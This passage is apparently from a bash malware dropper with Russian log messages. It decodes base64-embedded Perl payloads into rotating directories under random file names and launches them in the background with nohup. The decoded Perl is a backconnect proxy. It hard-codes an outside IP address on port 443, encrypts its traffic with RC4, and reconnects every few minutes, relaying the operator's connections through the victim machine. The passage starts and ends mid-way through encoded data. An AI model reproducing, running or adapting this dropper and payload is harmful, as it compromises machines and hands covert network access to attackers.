b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #57 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #57 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 58 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh 